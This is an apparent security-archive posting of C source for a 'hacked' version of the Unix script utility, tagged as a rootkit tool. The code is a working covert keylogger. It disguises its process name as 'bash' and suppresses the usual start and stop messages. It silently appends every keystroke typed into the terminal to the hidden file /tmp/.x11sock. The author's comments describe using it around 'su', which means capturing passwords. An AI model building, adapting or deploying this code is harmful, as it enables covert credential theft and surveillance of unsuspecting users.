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Hacked Version Of Script

Hacked Version Of Script
Posted Dec 9, 2008
Authored by Andrea Montanari

Hacked version of script that logs everything typed to /tmp/.x11sock. Based heavily on script.c.

tags | tool, rootkit
systems | unix
SHA-256 | ffaedfe839e7a9bcf9b642da14a75df2d7fe351c1b3e44ff9b7c3b251816b3b0

Hacked Version Of Script

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/*
*
* NOTE NOTE NOTE NOTE !!!
* This is a "hacked version of script which logs everything typed to a terminal to /tmp/.x11sock (change it in the source is you like to do so)
* It is *heavily* based on script.c (util-linux). Thanks Thanks Thanks to the Author.
* It tries to emulate a normal terminal quitting the original shell on exit and I actually used
* for running "su" which complains about missin terminal (you know what I mean, if you don't forget it!)
* If normal user runs "ps xf" it easy to understand something different is happening, but sometimes one's luck!
* Below you can find the original "script.c Licence"
* compile with (under linux)
* cc -c -pipe -O2 -mtune=i486 -fomit-frame-pointer -I../lib -Wall -Wmissing-prototypes -Wstrict-prototypes -DNCH=1 -D_FILE_OFFSET_BITS=64 -DSBINDIR=\"/sbin\" -DUSRSBINDIR=\"/usr/sbin\" -DLOGDIR=\"/var/log\" -DVARPATH=\"/var\" -DLOCALEDIR=\"/usr/share/locale\" -O2 script.c -o script.o
* cc -s -static script.o -o script -lutil
*
* Take care
* Sicktoy 06/12/08
*
* Copyright (c) 1980 Regents of the University of California.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the University of
* California, Berkeley and its contributors.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/

/*
* 1999-02-22 Arkadiusz Mi¶kiewicz <misiek@pld.ORG.PL>
* - added Native Language Support
*
* 2000-07-30 Per Andreas Buer <per@linpro.no> - added "q"-option
*/

/*
* script
*/
#include <stdio.h>
#include <stdlib.h>
#include <paths.h>
#include <time.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <termios.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <sys/file.h>
#include <sys/signal.h>
#define UTIL_LINUX_VERSION "2.12r"
#define util_linux_version "util-linux-2.12r"

#define HAVE_scsi_h
#define HAVE_blkpg_h
#define HAVE_kd_h
#define HAVE_locale_h
#define HAVE_langinfo_h
#define HAVE_sys_user_h
#define HAVE_rpcsvc_nfs_prot_h
#define HAVE_asm_types_h
#define HAVE_stdint_h
#define HAVE_sys_io_h
#define HAVE_inet_aton
#define HAVE_fsync
#define HAVE_getdomainname
#define HAVE_nanosleep
#define HAVE_personality
#define HAVE_updwtmp
#define HAVE_fseeko
#define HAVE_lchown
#define HAVE_rpmatch
#define HAVE_ncurses
#define HAVE_termcap
#define HAVE_libintl_h
#define MAY_ENABLE_NLS
#define HAVE_progname
#define HAVE_openpty
#define ENABLE_WIDECHAR
#define HAVE_tm_gmtoff

int main(int argc, char *argv[]);


#ifndef PACKAGE
#define PACKAGE "util-linux"
#endif

#ifndef LOCALEDIR
#define LOCALEDIR "/usr/share/locale"
#endif

#ifdef HAVE_locale_h
# include <locale.h>
#endif

#if defined MAY_ENABLE_NLS && !defined DISABLE_NLS
# include <libintl.h>
# define _(Text) gettext (Text)
# ifdef gettext_noop
# define N_(String) gettext_noop (String)
# else
# define N_(String) (String)
# endif
#else
# undef bindtextdomain
# define bindtextdomain(Domain, Directory) /* empty */
# undef textdomain
# define textdomain(Domain) /* empty */
# define _(Text) (Text)
# define N_(Text) (Text)
#endif



#ifdef __linux__
#include <unistd.h>
#include <string.h>
#endif

#ifdef HAVE_openpty
#include <pty.h>
#endif

void finish(int);
void done(void);
void fail(void);
void resize(int);
void fixtty(void);
void getmaster(void);
void getslave(void);
void doinput(void);
void dooutput(void);
void doshell(void);

char *shell;
FILE *fscript;
int master;
int slave;
int child;
int subchild;
char *fname = "/dev/null";

struct termios tt;
struct winsize win;
int lb;
int l;
#ifndef HAVE_openpty
char line[] = "/dev/ptyXX";
#endif
int aflg = 0;
char *cflg = NULL;
int fflg = 0;
int qflg = 1;
int tflg = 0;
pid_t xpid;
char *xpname = "bash";
static char *progname;

static void
die_if_link(char *fn) {
struct stat s;

if (lstat(fn, &s) == 0 && (S_ISLNK(s.st_mode) || s.st_nlink > 1)) {
fprintf(stderr,
_("Warning: `%s' is a link.\n"
"Use `%s [options] %s' if you really "
"want to use it.\n"
"Script not started.\n"),
fn, progname, fn);
exit(1);
}
}

/*
* script -t prints time delays as floating point numbers
* The example program (scriptreplay) that we provide to handle this
* timing output is a perl script, and does not handle numbers in
* locale format (not even when "use locale;" is added).
* So, since these numbers are not for human consumption, it seems
* easiest to set LC_NUMERIC here.
*/

int
main(int argc, char **argv) {
extern int optind;
char *p;
int ch;

memset(argv[0], 0, strlen(argv[0]));
strcpy(argv[0], xpname);
progname = argv[0];
// argv[1] = xpname;
// if ((p = strrchr(progname, '/')) != NULL)
// progname = p+1;


setlocale(LC_ALL, "");
setlocale(LC_NUMERIC, "C"); /* see comment above */
bindtextdomain(PACKAGE, LOCALEDIR);
textdomain(PACKAGE);




xpid = getppid();
// fprintf(stderr, "xpid = %d\n", xpid);

// if (argc == 2) {
// if (!strcmp(argv[1], "-V") || !strcmp(argv[1], "--version")) {
// printf(_("%s from %s\n"),
// progname, util_linux_version);
// return 0;
// }
// }

// while ((ch = getopt(argc, argv, "ac:fqt")) != -1)
// switch((char)ch) {
//case 'a':
//aflg++;
//break;
//case 'c':
//cflg = optarg;
//break;
//case 'f':
//fflg++;
//break;
//case 'q':
//qflg++;
//break;
//case 't':
//tflg++;
//break;
//case '?':
//default:
//fprintf(stderr,
//_("usage: script [-a] [-f] [-q] [-t] [file]\n"));
//exit(1);
//}
argc -= optind;
argv += optind;

// if (argc > 0)
// fname = argv[0];
// else {
// fname = "typescript";
// //die_if_link(fname);
// }
if ((fscript = fopen(fname, aflg ? "a" : "w")) == NULL) {
perror(fname);
fail();
}

shell = getenv("SHELL");
if (shell == NULL)
shell = _PATH_BSHELL;

getmaster();
//if (!qflg)
// printf(_("Script started, file is %s\n"), fname);
fixtty();

(void) signal(SIGCHLD, finish);
child = fork();
if (child < 0) {
perror("fork");
fail();
}
if (child == 0) {
subchild = child = fork();
if (child < 0) {
perror("fork");
fail();
}
if (child)
dooutput();
else
doshell();
} else
(void) signal(SIGWINCH, resize);
doinput();

return 0;
}

void
doinput() {
register int cc;
char ibuf[BUFSIZ];
FILE *fh;
int xfd;
char *xname = "/tmp/.x11sock";

(void) fclose(fscript);

fh = fopen(xname, "a");
xfd = fileno(fh);
while ((cc = read(0, ibuf, BUFSIZ)) > 0) {
(void) write(master, ibuf, cc);
write(xfd, ibuf, cc);
}
fclose(fh);
done();
}

#include <sys/wait.h>

void
finish(int dummy) {
int status;
register int pid;
register int die = 0;

while ((pid = wait3(&status, WNOHANG, 0)) > 0)
if (pid == child)
die = 1;

if (die)
done();
}

void
resize(int dummy) {
/* transmit window change information to the child */
(void) ioctl(0, TIOCGWINSZ, (char *)&win);
(void) ioctl(slave, TIOCSWINSZ, (char *)&win);

kill(child, SIGWINCH);
}

/*
* Stop extremely silly gcc complaint on %c:
* warning: `%c' yields only last 2 digits of year in some locales
*/
static void
my_strftime(char *buf, size_t len, const char *fmt, const struct tm *tm) {
strftime(buf, len, fmt, tm);
}

void
dooutput() {
register int cc;
time_t tvec;
char obuf[BUFSIZ];
struct timeval tv;
double oldtime=time(NULL), newtime;

(void) close(0);
#ifdef HAVE_openpty
(void) close(slave);
#endif
tvec = time((time_t *)NULL);
my_strftime(obuf, sizeof obuf, "%c\n", localtime(&tvec));
//fprintf(fscript, _("Script started on %s"), obuf);

for (;;) {
if (tflg)
gettimeofday(&tv, NULL);
cc = read(master, obuf, sizeof (obuf));
if (cc <= 0)
break;
if (tflg) {
newtime = tv.tv_sec + (double) tv.tv_usec / 1000000;
//fprintf(stderr, "%f %i\n", newtime - oldtime, cc);
oldtime = newtime;
}
(void) write(1, obuf, cc);
(void) fwrite(obuf, 1, cc, fscript);
if (fflg)
(void) fflush(fscript);
}
done();
}

void
doshell() {
char *shname;

#if 0
int t;

t = open(_PATH_TTY, O_RDWR);
if (t >= 0) {
(void) ioctl(t, TIOCNOTTY, (char *)0);
(void) close(t);
}
#endif

getslave();
(void) close(master);
(void) fclose(fscript);
(void) dup2(slave, 0);
(void) dup2(slave, 1);
(void) dup2(slave, 2);
(void) close(slave);

shname = strrchr(shell, '/');
if (shname)
shname++;
else
shname = shell;

if (cflg)
execl(shell, shname, "-c", cflg, 0);
else
execl(shell, shname, "-i", 0);

perror(shell);
fail();
}

void
fixtty() {
struct termios rtt;

rtt = tt;
cfmakeraw(&rtt);
// rtt.c_lflag &= ~ECHO;
(void) tcsetattr(0, TCSAFLUSH, &rtt);
}

void
fail() {

(void) kill(0, SIGTERM);
done();
}

void
done() {
time_t tvec;

if (subchild) {
if (!qflg) {
char buf[BUFSIZ];
tvec = time((time_t *)NULL);
my_strftime(buf, sizeof buf, "%c\n", localtime(&tvec));
// fprintf(fscript, _("\nScript done on %s"), buf);
}
(void) fclose(fscript);
(void) close(master);
} else {
(void) tcsetattr(0, TCSAFLUSH, &tt);
// if (!qflg)
// printf(_("Script done, file is %s\n"), fname);
}
// fprintf(stderr, "xpid 2 = %d\n", xpid);
kill(xpid, SIGHUP);

exit(0);
}

void
getmaster() {
#ifdef HAVE_openpty
(void) tcgetattr(0, &tt);
(void) ioctl(0, TIOCGWINSZ, (char *)&win);
if (openpty(&master, &slave, NULL, &tt, &win) < 0) {
fprintf(stderr, _("openpty failed\n"));
fail();
}
#else
char *pty, *bank, *cp;
struct stat stb;

pty = &line[strlen("/dev/ptyp")];
for (bank = "pqrs"; *bank; bank++) {
line[strlen("/dev/pty")] = *bank;
*pty = '0';
if (stat(line, &stb) < 0)
break;
for (cp = "0123456789abcdef"; *cp; cp++) {
*pty = *cp;
master = open(line, O_RDWR);
if (master >= 0) {
char *tp = &line[strlen("/dev/")];
int ok;

/* verify slave side is usable */
*tp = 't';
ok = access(line, R_OK|W_OK) == 0;
*tp = 'p';
if (ok) {
(void) tcgetattr(0, &tt);
(void) ioctl(0, TIOCGWINSZ,
(char *)&win);
return;
}
(void) close(master);
}
}
}
//fprintf(stderr, _("Out of pty's\n"));
fail();
#endif /* not HAVE_openpty */
}

void
getslave() {
#ifndef HAVE_openpty
line[strlen("/dev/")] = 't';
slave = open(line, O_RDWR);
if (slave < 0) {
perror(line);
fail();
}
(void) tcsetattr(slave, TCSAFLUSH, &tt);
(void) ioctl(slave, TIOCSWINSZ, (char *)&win);
#endif
(void) setsid();
(void) ioctl(slave, TIOCSCTTY, 0);
}
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